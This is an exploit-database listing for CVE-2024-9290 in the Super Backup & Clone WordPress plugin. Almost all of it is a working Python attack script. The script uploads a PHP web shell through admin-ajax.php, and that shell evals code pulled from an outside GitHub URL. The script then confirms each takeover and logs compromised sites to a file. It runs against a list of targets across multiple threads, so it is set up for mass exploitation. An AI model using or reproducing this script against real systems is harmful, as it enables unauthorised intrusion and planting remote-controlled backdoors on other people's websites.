Exploit database

GH-d59aaa13fe7826acacccb812434a234d

jenderal92/cve-2024-9290

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-9290

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files2
jenderal92/cve-2024-9290Revision 3d7652872290

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2024-9290.py

Python · 3,179 bytes
import requests
import codecs
from multiprocessing.dummy import Pool as ThreadPool

def banner():
    print("""
=====================================================
        CVE-2024-9290 | Super Backup & Clone
            Developed by Python 2.7
=====================================================
    """)

## change shell code/filename if u need    
filename = "shin_code.php"
shell_code = """<?php @eval("?>".file_get_contents("https://raw.githubusercontent.com/Jenderal92/KC5/master/shin.php"));?>"""

def sbc(url):
    try:
        url = url.rstrip("/")
        ses = requests.Session()
        if not url.startswith("http://") and not url.startswith("https://"):
            url = "http://" + url

        endpoint = url + "/wp-admin/admin-ajax.php"
        headers = {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Accept-Language": "en-US,en;q=0.5",
            "Accept-Encoding": "gzip, deflate, br",
            "Content-Type": "multipart/form-data; boundary=---------------------------12986918151631900204175958232",
            "Upgrade-Insecure-Requests": "1",
            "Sec-Fetch-Dest": "document",
            "Sec-Fetch-Mode": "navigate",
            "Sec-Fetch-Site": "same-origin",
            "Sec-Fetch-User": "?1",
            "Priority": "u=0, i",
            "Te": "trailers"
        }
        data = '-----------------------------12986918151631900204175958232\r\nContent-Disposition: form-data; name="ibk_restore_migrate_action"\r\n\r\n1\r\n-----------------------------12986918151631900204175958232\r\nContent-Disposition: form-data; name="restore_type"\r\n\r\nrestore_file\r\n-----------------------------12986918151631900204175958232\r\nContent-Disposition: form-data; name="restore_url"\r\n\r\n\r\n-----------------------------12986918151631900204175958232\r\nContent-Disposition: form-data; name="upload_file"; filename='+filename+'\r\nContent-Type: application/zip\r\n\r\n'+shell_code+'\r\n-----------------------------12986918151631900204175958232--\r\n'
        
        response = ses.post(endpoint, headers=headers, data=data)
        resp = ses.get(url + '/wp-content/uploads/isnapshots/' + filename, headers=headers)
        if "Shin Bypassed" in resp.text or "Coded By Shin Code" in resp.text:
            print('Success .... ' + url + '/wp-content/uploads/isnapshots/' + filename)
            with open('shells.txt', 'a') as f:
                f.write(url + '/wp-content/uploads/isnapshots/' + filename + '\n')
        else:
            print('BAD  ' + url)

    except Exception as e:
        print("An error occurred:"+ str(e))
        
banner()

file_path = raw_input('Enter the path to the URL list: ')

try:
    with codecs.open(file_path, 'r', 'utf-8-sig') as f:
        urls = [line.strip() for line in f.readlines()]

    pool = ThreadPool(10)
    pool.map(sbc, urls)
    pool.close()
    pool.join()

except IOError:
    print("Error: Could not read file. Make sure the path is correct.")